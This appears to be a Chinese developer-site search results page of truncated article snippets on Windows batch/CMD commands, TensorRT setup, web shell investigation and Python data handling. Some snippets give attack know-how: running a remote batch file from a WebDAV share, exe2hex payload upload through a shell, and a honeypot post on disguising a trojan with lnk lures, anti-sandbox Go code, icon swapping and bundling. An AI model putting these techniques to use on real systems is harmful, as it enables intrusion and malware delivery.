首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

每周学点测试小知识-bat批处理命令

今天芒果要跟大家一起介(tu)绍(cao)一下bat批处理命令~ 批处理文件,顾名思义,是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT或者CMD。这些命令统称批处理命令。...必须是.bat或者.cmd扩展名文件。...例:start"C:\Program Files\internet explorer\iexplore.exe" “https://www.baidu.com/” 7、if if命令执行bat脚本里的条件处理...,可以使用通配符; command指定对每个文件执行的命令; command-parameters为特定命令指定参数或命令行开关。...usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后 引号的字符串并且一个单引号字符为文字字符串命令并允 许在 file-set中使用双引号扩起文件名称

85240

Win下终端实现文件上传和下载执行

[TOC] 0x00 前言 描述:作为一个网络安全从业者,您可能会常常在渗透测试遇到只有一个Shell情况下如何将可执行文件上传到一台windows机器上(主要由于没有界面操作),我在实际渗透测试中将我的经验和方法进行分享...Debug它还有一个功能可以将十六进制代码转换为可执行文件: 实际测试利用kaliexe2hex.exe exe2hex -x demo.exe [*] exe2hex v1.5.1 [i] Outputting...to /root/demo.bat (BATch) and /root/demo.cmd (PoSh) [+] Successfully wrote (BATch) /root/demo.bat #cmd...补充说明: 生成的demo.cmd可以采用Powershell来进行hex转成为exe执行文件 ? WeiyiGeek....0x02 补充方式 描述:采用当使用UNC/WebDAV时候多的几种姿势可以利用其来执行执行脚本 cmd.exe /k < \\webdavserver\folder\batchfile.txt (

3.3K10
您找到你想要的搜索结果了吗?
是的
没有找到

Win下终端实现文件上传和下载执行

[TOC] 0x00 前言 描述:作为一个网络安全从业者,您可能会常常在渗透测试遇到只有一个Shell情况下如何将可执行文件上传到一台windows机器上(主要由于没有界面操作),我在实际渗透测试中将我的经验和方法进行分享...Debug它还有一个功能可以将十六进制代码转换为可执行文件: 实际测试利用kaliexe2hex.exe exe2hex -x demo.exe [*] exe2hex v1.5.1 [i] Outputting...to /root/demo.bat (BATch) and /root/demo.cmd (PoSh) [+] Successfully wrote (BATch) /root/demo.bat #cmd...补充说明: 生成的demo.cmd可以采用Powershell来进行hex转成为exe执行文件 WeiyiGeek....---- 0x02 补充方式 描述:采用当使用UNC/WebDAV时候多的几种姿势可以利用其来执行执行脚本 cmd.exe /k < \\webdavserver\folder\batchfile.txt

1.8K10

部署实战 | 手把手教你在Windows下用TensorRT部署YOLOv8

如下图,进入cudnn解压所在文件include,拷贝所有头文件,粘贴到CUDA/v11.2/include lib、bin文件也拷贝到对应cuda目录 重启系统 2.2.4 下载 tensorrt8.4.2.4...将文件名修改为:"「opencv_world455.lib」" 请记住,制作属性表就3个步骤: 拷贝include路径 拷贝lib路径,外加设置dll到系统环境变量 拷贝lib文件名称 2.3.2 创建...\ThirdParty\TensorRT-8.4.2.4\samples\common\windows # lib路径 F:\ThirdParty\TensorRT-8.4.2.4\lib # lib文件名称...+目录] -> [库目录] -> [编辑] -> 把上述lib路径拷贝进去 step3:选择:[通用属性] -> [链接器] -> [输入] -> [附加依赖项] -> [编辑] -> 将上述lib文件名称拷贝进去...3.3.2 编译运行 上面视频在vs2019设置命令行参数,您也可以在CMD命令行上运行程序,如下: # 下面参数解释 # --show 表示可视化结果 # --savePath 表示保存,默认保存在

4.4K20

有趣的10个CMD命令「建议收藏」

这里有好多文件如何删除掉里面的exe文件呢?需要使用删除命令del /q /s /f *.exe。*是通配符,这句命令的意思就是删除所有匹配后缀为.exe文件。...(set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。...usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且一个单 引号字符为文字字符串命令并允许在 file-set 中使用双引号扩起文件名称。...该字符串会 被当作命令行,传递到一个子 CMD.EXE,其输出会被捕获到 内存,并被当作文件分析。...如果执行的命令行的第一个符号没有扩展名,CMD.EXE使用 PATHEXT 环境变量的数值来决定要以什么顺序寻找哪些扩展 名。

5K10

运维必学 | 条件语句-从零开始学Windows批处理(Batch)编程系列教程

0x00 批处理(Batch)命令返回值 描述: 在 Windows 批处理脚本,类似于 Shell 其也是支持 if...eles 条件判断, 不过在介绍语句前我们先来看看其命令行执行返回值,你可以将其认为返回错误参数相当于...weiyigeek\weiyigeek Program had return code 0 0x01 批处理(Batch)条件判断 描述: 批处理主要使用 if 语句命令执行批处理程序的条件处理。...: "打开计算器" "AB 变量,貌似不存在" 3.IF [NOT] CMDEXTVERSION variable (命令) ELSE (命令) 描述: 通常在DOS(CMD.EXE)启动后,其运行环境已经内置很多预定义变量...CMDEXTVERSION 就是其中一个,我们如果想获取当前CMD.EXE的命令扩展版本号,即可以通过%CMDEXTVERSION%环境变量获取。...如果当前 CMD.EXE 启用了命令扩展,则CMDEXTVERSION会被预定义 如果当前 CMD.EXE 禁用命令扩展,则CMDEXTVERSION不会被预定义 :: # CMD 终端展示 echo

44120

cmd.exe 的命令行启动参数(可用于执行命令、传参或进行环境配置)

我们都知道如何cmd.exe 启动一个程序,但是当你需要自动启动这个程序的时候,你就需要知道如何通过 cmd.exe 来启动一个程序,而不是手工输入然后回车运行了。...比如下面的 FRP 反向代理程序: 那么我们如何能够借助于 cmd.exe 来启动它呢?接下来说明。...顺便,使用 PowerShell 来启动的方法可以参见我的另一篇博客: PowerShell 的命令行启动参数(可用于执行命令、传参或进行环境配置) - 吕毅 cmd.exe 的帮助文档 先打开一个 cmd...cmd.exe 启动参数使用的坑 在上面的例子,我们的路径不涉及到空格。我们知道,路径中有空格的话,在命令行中使用需要加上引号。...你 可以在机器上和/或用户登录会话上启用或停用 CMD.EXE 所有 调用的延迟扩展,这要通过设置使用 REGEDIT.EXE 的注册表的 一个或两个 REG_DWORD 值: 1 2 3 4

1.9K20

CMD批处理——forfiles命令使用,自动删除过期备份文件

forfiles /p "d:\test" /s /m *.* /d -7 /c "cmd /c del @path" 做成批处理文件,bat文件与forfiles.exe同一目录下,建一个bat.../d 指定一个日期或天数,用于比较文件的最后修改日期是否符合条件。 /c 对每个找到的文件执行的命令。.../m : 文件查找所使用通配符如代码的"*.log"则为所有日志文件,当然也可以指定诸如"manmee_*.log"这样以manmee开头的所有日志文件。如果不指定此参数则默认为"*.*"。.../c 对所有文件以此执行指定的命令,命令体须在双引号(")内,默认是"cmd /c echo @file"。上文中用到的是"cmd /c del /f @path"删除指定文件。...下面说一下上文中用到的参数: @PATH : 表示文件的完整的路径。 @File : 表示文件名称。 其他参数的详细介绍点击这里。

3.9K10

shell的幽灵:web Shell攻击调查

攻击者使用net.exe执行侦察,使用nbstat.exe扫描其他目标系统,最终使用PsExec横向移动。...攻击者在其他系统上安装了额外的web shell,并在outlookweb Access(OWA)服务器上安装了DLL后门。...在对这些类型的攻击的调查,发现文件的web shell试图使用web服务器合法文件名称隐藏或混合,例如: index.aspx fonts.aspx css.aspx global.aspx default.php...KRYPTON在一个ASP.NET页面中使用了用C#编写的web shell: ? 一旦web shell成功插入web服务器,攻击者就可以在web服务器上执行各种任务。...w3wp.exe在通常不执行诸如“MSExchangeOWAAppPool”进程的应用程序池中运行的任何cmd.exe进程都应被视为异常并视为潜在的恶意行为。 ? ? ?

1.2K20

运维实战:Windows服务挂掉了怎么办,通过Bat脚本实现自动重启

启动成功之后的效果 服务启动后,重新执行Bat脚本,效果如下图 三、封装为服务的方式运行 建议把Bat脚本打包为Windows服务器的方式运行,如果直接使用cmd窗口运行的话,有被关掉的风险,使用后台运行的方式更加可靠...可以参考如下三种方式: 3.1 NSSM 使用nssm(Non-Sucking Service Manager)工具来将.bat脚本转换为服务。具体如何操作,可以官网查看。...创建一个C# Windows服务项目,并在其中添加对批处理文件的调用逻辑。...可执行文件,然后通过命令行工具 sc 或者安装util(在.NET Framework可用)将这个.exe注册为系统服务。...Service Display Name" 3.3 开源的Java工具winsw 使用它可以将任何可执行文件包装成Windows服务。

1.8K20

快速学习-常见DOS命令精讲

1 用二种方法打开DOS命令窗口 1.1 进入DOS命令行界面方法一 在Windows 2000/XP/2003的开始菜单执行“开始/运行”命令,在运行对话框中键入“cmd”命令,可进入命令行界面。...(9)command:指定要运行的 Windows 2000 命令、程序(.exe 或 .com 文件)或批处理程序(.bat 或 .cmd 文件)。...如果命令不是可执行 (.exe) 文件,必须在命令前加上 cmd /c,例如: cmd /c dir > c:\test.out 实例: (1)列出本机已有的计划命令。...; (3)在文件名称可以使用通配符; (4)若要删除磁盘上的所有文件(DEL*?...EXE.COM等为扩展名的文件,其显示的内容是无法阅读的,没有实际意义2; (2)该命令一次只可以显示一个文件的内容,不能使用通配符; (3)如果文件有扩展名,则必须将扩展名写上; (4)当文件较长

85120

文件系统特殊命令一览表

#例如,/-W,/b:只有文件与目录名 dir /-w * dir /b WeiyiGeek. #5.采用递归和通配符进行查询指定目录和所有子目录文件 dir *.exe /S #6.批处理可以使用批量后缀名查找指定目录文件...除非 COPY命令是在一个批处理脚本执行的,默认值应为在覆盖时进行提示 要附加文件,请为目标指定一个文件,为源指定数个文件(用通配符或 file1+file2+file3 格式) 基础案例: #1....问题1.运行代码后,提出警告信息“警告: 做大量排序时使用重定向输出通常比直接指定输出文件名称来排序慢。”...WeiyiGeek. ---- 文件验证 verify 命令 描述:指示 cmd.exe 是否要验证文件是否已正确地写入磁盘。...#指示 cmd.exe 是否要验证文件是否已正确地写入磁盘。

3.6K30

溯源反制-自搭建蜜罐到反制攻击队

并在桌面上放置反钓鱼木马文件xx蓝方信息表 这里使用的是lnk文件,制作方法可通过后面的lnk文件制作模块进行查阅,为了实现解压文件的时候不可预览内容,我们需要选择rar压缩文件进行加密 这样解压之后就只有一个独立的..., processName) { // 进程名称和源文件名称相同,正常运行 // 在这里执行正常的操作 } else { // 进程名称和源文件名称不同,可能在沙箱环境运行...// 在这里执行相应的防沙箱操作 os.Exit(0) // 退出程序 } } 资源替换 做完免杀马,那接下来肯定需要伪装成正常的文件,图标和签名是很重要的一环,且可以一定程度规避...//github.com/JarlPenguin/BeCyIconGrabberPortable 图标替换 Resource hacker 木马捆绑器 反制过程如果攻击者运行文件之后没有任何反应,...-s -h -r C:\Users\Public\xxx.exe 根目录下的快捷方式修改目标属性,相对路径指向真实的马儿 %windir%\system32\cmd.exe /c start .\.

47020

溯源反制-自搭建蜜罐到反制攻击队

并在桌面上放置反钓鱼木马文件xx蓝方信息表 这里使用的是lnk文件,制作方法可通过后面的lnk文件制作模块进行查阅,为了实现解压文件的时候不可预览内容,我们需要选择rar压缩文件进行加密 这样解压之后就只有一个独立的..., processName) { // 进程名称和源文件名称相同,正常运行 // 在这里执行正常的操作 } else { // 进程名称和源文件名称不同,可能在沙箱环境运行...// 在这里执行相应的防沙箱操作 os.Exit(0) // 退出程序 } } 资源替换 做完免杀马,那接下来肯定需要伪装成正常的文件,图标和签名是很重要的一环,且可以一定程度规避...//github.com/JarlPenguin/BeCyIconGrabberPortable 图标替换 Resource hacker 木马捆绑器 反制过程如果攻击者运行文件之后没有任何反应,...-s -h -r C:\Users\Public\xxx.exe 根目录下的快捷方式修改目标属性,相对路径指向真实的马儿 %windir%\system32\cmd.exe /c start .\.

40120

我用 Python 处理3万多条数据,只要几秒钟……

现将主要代码解释如下: 1、遍历任意文件夹下所有文件名称 程序写好后,使用 pyinstaller 打包成 exe 程序,并放在要操作的文件夹下面。...通过 path = os.getcwd()命令,获取该 exe 文件所在目录。...通过 files = os.listdir(path)命令,获取 exe 文件所在目录下的所有文件名称,并存入 files 列表。...这样我们就获得了所有的 txt 文件名称,你可以任意命名你的 txt 文件名,程序都能读出来。 2、将数据写入数据库 (1)连接数据库,并在数据库创建新表 A....1、创建一个新表,用来存储清洗后的数据 可以在 cmd 窗口下登陆 MySQL,打开 qq 数据库,执行下列操作: CREATE TABLE qq_dist ( id int(5) NOT NULL auto_increment

1K10

Windows cmd命令行常见使用说明

type xxx 显示文本文件的内容 ver 显示windows 的版本 where XXX 例如where java 可以看到java.exe执行目录 这种可以帮我们检查该指令的执行exe是哪里...当我们通过环境变量配置完路径之后,我们cmd输入的相关指令就在该路径下遍历查找是否有exe文件可以执行相关命令。...如果能够找到,就会有该exe执行,如果找不到。那么就会提示 :不是内部或外部命令,也不是可运行的程序或批处理文件。 4....快捷技巧 输入文件名称时,可以通过tab键自动补全 (前提条件是该路径下只有这一个文件名匹配) 在文件资源器的地址栏输入cmd+回车 可以快速打开cmd 并且自动跳转到该文件目录下。...批处理其实和我们在cmd输入命令效果是一样的。 windows 11 查询电脑存储的wifi密码 (zinyan.com) 在这篇文章中就有关于cmd的批处理指令的使用

40520
领券